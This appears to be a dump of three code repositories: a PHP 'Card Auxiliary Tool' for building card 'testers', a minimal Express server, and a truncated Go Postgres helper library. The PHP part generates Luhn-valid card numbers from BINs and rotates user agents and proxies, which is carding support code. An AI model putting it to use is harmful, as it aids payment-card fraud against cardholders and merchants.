}else if (preg_match('/(\d)\1{10}/', $cpf)) {
return false;
}
for ($t = 9; $t < 11; $t++) {
for ($d = 0, $c = 0; $c < $t; $c++) {
$d += $cpf{$c} * (($t + 1) - $c);
}
$d = ((10 * $d) % 11) % 10;
if ($cpf{$c} != $d) {
return false;
}
}
return true;
}
/*
*@ Get Random UserAgent / Pegar um UserAgent Aleatório.
*@ Returns UserAgent random
*/
public function getrndUserAgent(){
global $user_agents;
return $user_agents[array_rand($user_agents)];
}
/*
*@ Get Random Name and Last / Pegar um Nome ou Sobrenome Aleatório.
*@ Returns Name and Last random
*/
public function randomName($numero){
if(!$numero){
throw new Exception('Insert 1 or 2 in argument');
}
$lista = file("others/last_names.txt");
$nome = $lista[rand(0, count($lista) - 1)];
$sobre = $lista[rand(0, count($lista) - 1)];
if($numero < 2){
return $nome;
}else{
return $nome.' '.$sobre;
}
}
/*
*@ Personal cURL / cURL Personalizado
*@ Attemption: $url required!!! and $header must be Boolean.
*@ false = not using, or set argument for use the same
*/
public function personalCurl($url, $header = false, $headers = false, $useragent = false, $ssl = false, $proxy = false, $cookie = false, $postdata = false){
if(!$url){
throw new Exception('Insert url for access by cURL.');
}
if(!is_bool($header)){
throw new Exception('Variable header is not boolean.');
}
$pCURL = curl_init($url);
$opcoesbasicas = array(
CURLOPT_HEADER => $header,
CURLOPT_USERAGENT => $useragent,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true
);
if($headers){
$optheaders = array(
CURLOPT_HTTPHEADER => $headers
);
curl_setopt_array($pCURL, $optheaders);
}
if($ssl){
$optssl = array(
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_SSL_VERIFYPEER => false
);
curl_setopt_array($pCURL, $optssl);
}
if($proxy){
$optproxy = array(
CURLOPT_PROXY => $proxy
);
curl_setopt_array($pCURL, $optproxy);
}
if($cookie){
$optcookie = array(
CURLOPT_COOKIE => true,
CURLOPT_COOKIESESSION => true,
CURLOPT_COOKIEFILE => $cookie,
CURLOPT_COOKIEJAR => $cookie
);
curl_setopt_array($pCURL, $optcookie);
}
if($postdata){
$optpost = array(
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => $postdata
);
curl_setopt_array($pCURL, $optpost);
}
curl_setopt_array($pCURL, $opcoesbasicas);
$retorno = curl_exec($pCURL);
if(curl_error($pCURL)){
return curl_error($pCURL);
}elseif(is_null($retorno)){
throw new Exception('Do no have return.');
}else{
return $retorno;
}
}
/*
*@ Proxy Check / Testar Proxy
*@ Attemption: $type required!!!
*@ Returns in json, status 0 = Proxy Die and status 1 = Proxy Up.
*/
public function checkProxy($proxy, $type){
if (preg_match('~\b([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}):([0-9]{1,5}\b)~', $proxy, $matches)) {
$ip = $matches[1];
$port = $matches[2];
}
if($type == "socks4"){
$opt = array(
CURLPROXY_SOCKS4 => true
);
}else if($type == "socks5"){
$opt = array(
CURLPROXY_SOCKS5 => true
);
}else if($type == "http" or $type == "https"){
$opt = array(
CURLPROXY_HTTP => true
);
}else{
throw new Exception('Do no set proxy type.');
}
$pCURL = curl_init("https://jsonip.com/");
curl_setopt($pCURL, CURLOPT_RETURNTRANSFER, true);
curl_setopt($pCURL, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($pCURL, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($pCURL, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($pCURL, CURLOPT_PROXY, $ip);
curl_setopt($pCURL, CURLOPT_PROXYPORT, $port);
curl_setopt_array($pCURL, $opt);
$retorno = curl_exec($pCURL);
$httpcode = curl_getinfo($pCURL, CURLINFO_HTTP_CODE);
if(!curl_error($pCURL) && $httpcode == "200"){
return json_encode(array("status" => 1, "return" => "200 Connection estabilished"));
}else{
return json_encode(array("status" => 0, "return" => curl_error($pCURL)));
}
}
/*
*@ Credit Card Generator / Gerador de Cartão de Crédito
*@ Attemption: $bin and $length required!!!
*@ Returns card generated.
*/
public function rndCreditCard($bin, $length) {
if(!$bin){
throw new Exception('Insert bin of CC.');
}
$ccnumber = $bin;
while ( strlen($ccnumber) < ($length - 1) ) {
$ccnumber .= rand(0,9);
}
$sum = 0;
$pos = 0;
$reversedCCnumber = strrev( $ccnumber );
while ( $pos < $length - 1 ) {
$odd = $reversedCCnumber[ $pos ] * 2;
if ( $odd > 9 ) {
$odd -= 9;
}
$sum += $odd;
if ( $pos != ($length - 2) ) {
$sum += $reversedCCnumber[ $pos +1 ];
}
$pos += 2;
}
$checkdigit = (( floor($sum/10) + 1) * 10 - $sum) % 10;
$ccnumber .= $checkdigit;
return $ccnumber;
}
/*
*@ Credit Card Validator / Validador de Cartão de Crédito
*@ Attemption: $cc required!!! and Credits of CreditCard Class it's from inacho.
*@ Returns 1 = Valid or null = Invalid.
*/
public function validCC($cc){
/* External class CreditCard, All rights reserved for inacho. */
$validar = $this->validCreditCard($cc);
return $validar[valid];
}
}
?>
<file_sep>/obj.php
<?php
$json = '[
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
},
{
"name" : "<NAME>"
}
]';
$user_agents = array(
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/420+ (KHTML, like Gecko) Safari/419.3",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; it-it) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/6.1.3 Safari/537.75.14",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/600.3.10 (KHTML, like Gecko) Version/8.0.3 Safari/600.3.10",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.39 (KHTML, like Gecko) Version/9.0 Safari/601.1.39",
"Mozilla/5.0 (Linux; U; Android 1.5; de-de; HTC Magic Build/CRB17) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
"Mozilla/5.0 (Linux; U; Android 2.1-update1; en-au; HTC_Desire_A8183 V1.16.841.1 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
"Mozilla/5.0 (Linux; U; Android 4.2; en-us; Nexus 10 Build/JVP15I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30",
"Mozilla/5.0 (Linux; U; Android-4.0.3; en-us; Galaxy Nexus Build/IML74K) AppleWebKit/535.7 (KHTML, like Gecko) CrMo/16.0.912.75 Mobile Safari/535.7",
"Mozilla/5.0 (Linux; U; Android-4.0.3; en-us; Xoom Build/IML77) AppleWebKit/535.7 (KHTML, like Gecko) CrMo/16.0.912.75 Safari/535.7",
"Mozilla/5.0 (Linux; Android 4.0.4; SGH-I777 Build/Task650 & Ktoonsez AOKP) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19",
"Mozilla/5.0 (Linux; Android 4.1; Galaxy Nexus Build/JRN84D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19",
"Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; en) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3",
"Mozilla/5.0 (iPad; U; CPU OS 5_1_1 like Mac OS X; en-us) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10",
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.7 (KHTML, like Gecko) Ubuntu/11.10 Chromium/16.0.912.21 Chrome/16.0.912.21 Safari/535.7",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.04 Chromium/15.0.871.0 Chrome/15.0.871.0 Safari/535.2",
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.813.0 Chrome/14.0.813.0 Safari/535.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10",
"Mozilla/5.0 (Windows; U; Windows NT 5.0; it-IT; rv:1.7.12) Gecko/20050915",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020919",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1",
"Mozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.2a1pre) Gecko/20090322 Fennec/1.0b2pre",
"Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
"Mozilla/5.0 (Android; Mobile; rv:12.0) Gecko/12.0 Firefox/12.0",
"Mozilla/5.0 (Android; Mobile; rv:14.0) Gecko/14.0 Firefox/14.0",
"Mozilla/5.0 (Mobile; rv:14.0) Gecko/14.0 Firefox/14.0",
"Mozilla/5.0 (Mobile; rv:17.0) Gecko/17.0 Firefox/17.0",
"Mozilla/5.0 (Tablet; rv:18.1) Gecko/18.1 Firefox/18.1",
"Mozilla/5.0 (Android; Mobile; rv:28.0) Gecko/28.0 Firefox/28.0",
"Mozilla/5.0 (Android; Tablet; rv:29.0) Gecko/29.0 Firefox/29.0",
"Mozilla/5.0 (Android; Mobile; rv:40.0) Gecko/40.0 Firefox/40.0",
"Mozilla/5.0 (iPad; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4",
"Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.5) Gecko/20031007 Firebird/0.7",
"Mozilla/5.0 (Windows; U; Win95; en-US; rv:1.5) Gecko/20031007 Firebird/0.7",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2",
"Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080214 Firefox/2.0.0.12",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8",
"Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.5) Gecko/20060819 Firefox/1.5.0.5",
"Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3",
"Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5",
"Mozilla/5.0 (Windows; Windows NT 6.1; rv:2.0b2) Gecko/20100720 Firefox/4.0b2",
"Mozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100308 Ubuntu/10.04 (lucid) Firefox/3.6 GTB7.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre",
"Mozilla/5.0 (X11; Linux x86_64; rv:2.0b9pre) Gecko/20110111 Firefox/4.0b9pre",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre",
"Mozilla/5.0 (X11; U; Linux amd64; rv:5.0) Gecko/20100101 Firefox/5.0 (Debian)",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2",
"Mozilla/5.0 (X11; Linux i686 on x86_64; rv:12.0) Gecko/20100101 Firefox/12.0",
"Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2",
"Mozilla/5.0 (X11; Ubuntu; Linux armv7l; rv:17.0) Gecko/20100101 Firefox/17.0",
"Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0",
"Mozilla/5.0 (Windows NT 5.1; rv:25.0) Gecko/20100101 Firefox/25.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:25.0) Gecko/20100101 Firefox/25.0",
"Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101 Firefox/28.0",
"Mozilla/5.0 (X11; Linux i686; rv:30.0) Gecko/20100101 Firefox/30.0",
"Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0",
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
"Mozilla/5.0 (BeOS; U; Haiku BePC; en-US; rv:1.8.1.21pre) Gecko/20090227 BonEcho/2.0.0.21pre",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071113 BonEcho/2.0.0.9",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061026 BonEcho/2.0",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033017 GranParadiso/3.0.8",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100411 Lorentz/3.6.3 GTB7.0",
"Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.3a1pre) Gecko/20091019 Minefield/3.7a1pre",
"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.3a4pre) Gecko/20100402 Minefield/3.7a4pre",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a2pre) Gecko/20090901 Ubuntu/9.10 (karmic) Namoroka/3.6a2pre",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2a2pre) Gecko/20090912 Namoroka/3.6a2pre (.NET CLR 3.5.30729)",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090109 Shiretoko/3.1b3pre",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4pre) Gecko/20090311 Shiretoko/3.1b4pre",
"Opera/5.11 (Windows 98; U) [en]",
"Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 5.12 [en]",
"Opera/6.0 (Windows 2000; U) [fr]",
"Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.01 [en]",
"Opera/7.03 (Windows NT 5.0; U) [en]",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.10 [en]",
"Opera/9.02 (Windows XP; U; ru)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.24",
"Opera/9.51 (Macintosh; Intel Mac OS X; U; en)",
"Opera/9.70 (Linux i686 ; U; en) Presto/2.2.1",
"Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.00",
"Opera/9.80 (Windows NT 6.1; U; sv) Presto/2.7.62 Version/11.01",
"Opera/9.80 (Windows NT 6.1; U; en-GB) Presto/2.7.62 Version/11.00",
"Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01",
"Opera/9.80 (Windows NT 6.0; U; en) Presto/2.8.99 Version/11.10",
"Opera/9.80 (X11; Linux i686; U; ru) Presto/2.8.131 Version/11.11",
"Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.14",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.12 Safari/537.36 OPR/14.0.1116.4",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.29 Safari/537.36 OPR/15.0.1147.24 (Edition Next)",
"Opera/9.80 (Linux armv6l ; U; CE-HTML/1.0 NETTV/3.0.1;; en) Presto/2.6.33 Version/10.60",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 OPR/20.0.1387.91",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Oupeng/10.2.1.86910 Safari/534.30",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2376.0 Safari/537.36 OPR/31.0.1857.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.25"
);
?><file_sep>/README.md
# Card Auxiliary Tool
Version: v0.1b in Development
Required: PHP 7.0+
This tool was created for auxiliary the user in creating a tester.
# Auxiliary's:
getToken ~ Get Specific Token in HTML Code's and others
cookieKill ~ Delete cookie
valid2Captcha ~ Validate PublishKey of 2Captcha
delimitArgument ~ Delimite function (up to 4 characters {$x, $y, $z, $u})
validEmail ~ Validate E-Mail
validExternalEmail ~ Validate E-Mail with URL (MercadoLibre, and others)
randomCPF ~ Random CPF function
validCPF ~ Validate CPF function
getrndUserAgent ~ Random UserAgent function
randomName ~ Random name and last name function
personalCurl ~ Personal Curl function
checkProxy ~ Proxy Check function
rndCreditCard ~ Credit Card Generator function
validCC ~ Credit Card Validation function
# How to Insert in your project:
Paste all files of folder, and insert "require_once("class.Auxiliary.php");" in your PHP file.
# Copyright 2018 Fantasma All rights reserved.
|
3103e99b05e1e164ca95fdb14971e58ab95cab2c
|
[
"Markdown",
"PHP"
] | 3
|
PHP
|
Fantasm4/CardAuxiliaryTool
|
f06d3c8f916f65e3c4a473b6e7d86c62897e7912
|
2cfc6452cad6b88fb57d751495c45fb5470b9ae9
|
refs/heads/main
|
<file_sep># test-node-react-deployment
# test-node-react-deployment
# test-git-workflow
# git-workflow-2
<file_sep>const express = require('express')
const app = express()
app.use(express.json())
const path = require('path')
app.use('/api/v1/test', (req, res, next) => {
res.status(200).json({ name: '<NAME>', message: 'Hello World' });
});
app.use(express.static('client'))
app.get('*', (req, res) => {
res.sendFile(path.join(__dirname, 'client', 'index.html'))
})
const PORT = process.env.PORT || 3000
app.listen(PORT, () =>{
console.log('Server is running on port', PORT)
})
|
7fee062f5a074bd42df777d6869727560d1a9b28
|
[
"Markdown",
"JavaScript"
] | 2
|
Markdown
|
dijiflex/git-workflow-2
|
2423ba7ca7f381233d6cd0d72f6f9fb65e0490f1
|
e8995db1877f91106391e24b10de56f4b82c75e6
|
refs/heads/master
|
<repo_name>atselvan/go-pgdb-lib<file_sep>/constant.go
package pgdb
const (
dbConnectionErr = "DB_CONNECTION_FAILED"
dbConnectionErrStr = "there was an error connecting to the database : %v"
dbCloseErr = "DB_CLOSE_FAILED"
dbCloseErrStr = "there was an error closing the connection to the database : %v"
dbPingErr = "DB_PING_FAILED"
dbPingErrStr = "there was an error pinging to the database : %v"
dbQueryExecErr = "DB_QUERY_EXEC_FAILED"
dbQueryExecErrStr = "there was an error while executing the query on the database : %v"
dbRowScanErr = "DB_ROW_SCAN_ERROR"
dbRowScanErrStr = "there was an error while scanning the rows : %v"
enumNameEmptyErr = "EMPTY_ENUM_NAME"
enumNameEmptyErrStr = "enum name cannot be empty"
tableNameEmptyErr = "TABLE_NAME_EMPTY"
tableNameEmptyErrStr = "table name cannot be empty"
tableColumnErr = "TABLE_COLUMN_ERROR"
tableNoColumnErrStr = "a table should have at least one column"
tableColumnInfoErrStr = "column name and column datatype cannot be empty"
)
<file_sep>/README.md
# go-pgdb-lib
Postgres database support functions
<file_sep>/go.mod
module github.com/atselvan/go-pgdb-lib
go 1.13
require (
github.com/atselvan/go-utils v1.0.4
github.com/lib/pq v1.2.0
)
<file_sep>/db.go
package pgdb
import (
"database/sql"
"fmt"
"github.com/atselvan/go-utils"
_ "github.com/lib/pq"
"os"
)
// DBConn database connection details
type DbConn struct {
Hostname string
Port string
Name string
Username string
Password string
}
// getConn gets the database connection details from environment variables
// If the documented environment variables are not set the method return default values
func (dbConn *DbConn) GetConn() DbConn {
// set db hostname
if dbConn.Hostname = os.Getenv("DB_HOSTNAME"); dbConn.Hostname == "" {
dbConn.Hostname = "192.168.2.75"
}
// set db port
if dbConn.Port = os.Getenv("DB_PORT"); dbConn.Port == "" {
dbConn.Port = "5432"
}
// set db name
if dbConn.Name = os.Getenv("DB_NAME"); dbConn.Name == "" {
dbConn.Name = "assets"
}
// set db username
if dbConn.Username = os.Getenv("DB_USERNAME"); dbConn.Username == "" {
dbConn.Username = "postgres"
}
// set db password
if dbConn.Password = os.Getenv("DB_PASSWORD"); dbConn.Password == "" {
dbConn.Password = "<PASSWORD>"
}
return *dbConn
}
// GetDBConnString gets the database connection details and returns the database connection string
func (dbConn *DbConn) GetConnString() string {
*dbConn = dbConn.GetConn()
return fmt.Sprintf("host=%s port=%s dbname=%s user=%s password=%s sslmode=disable", dbConn.Hostname, dbConn.Port, dbConn.Name, dbConn.Username, dbConn.Password)
}
// Connect establishes a connection with the database and validates the connection
// The method return the db connection or an error if something goes wrong
func (dbConn *DbConn) Connect() (*sql.DB, error) {
db, err := sql.Open("postgres", dbConn.GetConnString())
if err != nil {
return nil, dbConn.ConnectionError(err)
}
err = db.Ping()
if err != nil {
return nil, utils.Error{ErrStr: dbPingErr, ErrMsg: fmt.Sprintf(dbPingErrStr, err)}.NewError()
}
return db, nil
}
// Close closes the connection with the database
// The method return an error if something goes wrong
func (dbConn *DbConn) Close(db *sql.DB) error {
return db.Close()
}
// Exec executes a query on the database
// The method return an error if something goes wrong
func (dbConn *DbConn) Exec(query string) error {
db, err := dbConn.Connect()
if err != nil {
return dbConn.ConnectionError(err)
}
_, err = db.Exec(query)
if err != nil {
return dbConn.QueryExecError(err)
}
if err = dbConn.Close(db); err != nil {
return dbConn.ClosureError(err)
}
return nil
}
// ConnectionError returns a formatted database connection error
func (dbConn *DbConn) ConnectionError(err error) error {
return utils.Error{ErrStr: dbConnectionErr, ErrMsg: fmt.Sprintf(dbConnectionErrStr, err)}.NewError()
}
// CloseError returns a formatted database disconnection error
func (dbConn *DbConn) ClosureError(err error) error {
return utils.Error{ErrStr: dbCloseErr, ErrMsg: fmt.Sprintf(dbCloseErrStr, err)}.NewError()
}
// QueryExecError returns a formatted database query execution error
func (dbConn *DbConn) QueryExecError(err error) error {
return utils.Error{ErrStr: dbQueryExecErr, ErrMsg: fmt.Sprintf(dbQueryExecErrStr, err)}.NewError()
}
// RowScanError returns a formatted database error while scanning rows
func (dbConn *DbConn) RowScanError(err error) error {
return utils.Error{ErrStr: dbRowScanErr, ErrMsg: fmt.Sprintf(dbRowScanErrStr, err)}.NewError()
}
<file_sep>/enum.go
package pgdb
import (
"fmt"
"github.com/atselvan/go-utils"
"strings"
)
// Enum represents a Enum type in the database
type Enum struct {
Name string
Values []string
}
// IsValidEnumName checks if enum name is not empty
// The method return an error if enum name is a empty value
func (e *Enum) IsValidEnumName() error {
e.Name = strings.TrimSpace(e.Name)
if e.Name == "" {
return utils.Error{ErrStr: enumNameEmptyErr, ErrMsg: enumNameEmptyErrStr}.NewError()
} else {
return nil
}
}
// Exists checks if a enum type already exists or not in the database
// The method returns a boolean value and an error depending on the result
func (e *Enum) Exists() (bool, error) {
var dbConn DbConn
if err := e.IsValidEnumName(); err != nil {
return false, err
}
err := dbConn.Exec(fmt.Sprintf("select unnest (enum_range(NULL::%s));", e.Name))
if err == nil {
return true, err
} else {
return false, err
}
}
// Get returns a list of enum type values
// The method returns the values of a enum or an error
func (e *Enum) Get() error {
var dbConn DbConn
if err := e.IsValidEnumName(); err != nil {
return err
}
db, err := dbConn.Connect()
if err != nil {
return err
}
rows, err := db.Query(fmt.Sprintf("select unnest (enum_range(NULL::%s));", e.Name))
if err != nil {
return dbConn.QueryExecError(err)
}
for rows.Next() {
var value string
err = rows.Scan(&value)
if err != nil {
return dbConn.RowScanError(err)
}
e.Values = append(e.Values, value)
}
return err
}
// Create creates a new enum type in the database
// The method returns an error if something goes wrong
func (e *Enum) Create() error {
var dbConn DbConn
if err := e.IsValidEnumName(); err != nil {
return err
}
return dbConn.Exec(fmt.Sprintf("create type %s as enum ();", e.Name))
}
// Add updates the enum type in the database
// The method returns an error if something goes wrong
func (e *Enum) Update() error {
var dbConn DbConn
if err := e.IsValidEnumName(); err != nil {
return err
}
return dbConn.Exec(fmt.Sprintf("alter type %s add value '%s';", e.Name, e.Values[0]))
}
// Delete removes the enum type from the database
// The method returns an error if something goes wrong
func (e *Enum) Delete() error {
var dbConn DbConn
if err := e.IsValidEnumName(); err != nil {
return err
}
return dbConn.Exec(fmt.Sprintf("drop type %s;", e.Name))
}
<file_sep>/enum_test.go
package pgdb
import "testing"
func TestEnum_IsValidEnumName(t *testing.T) {
e := Enum{
Name: "",
}
if err := e.IsValidEnumName(); err == nil {
t.Errorf("Expected a error as enum name is empty")
}
e = Enum{
Name: " ",
}
if err := e.IsValidEnumName(); err == nil {
t.Errorf("Expected a error as enum name only has a blank space")
}
e = Enum{
Name: "test",
}
if err := e.IsValidEnumName(); err != nil {
t.Errorf("Did not expect an error as enum name is valid")
}
}
<file_sep>/table.go
package pgdb
import (
"fmt"
"github.com/atselvan/go-utils"
"strings"
)
type Table struct {
Name string
Columns []TableColumn
}
type TableColumn struct {
Name string
DataType string
Constraints []string
}
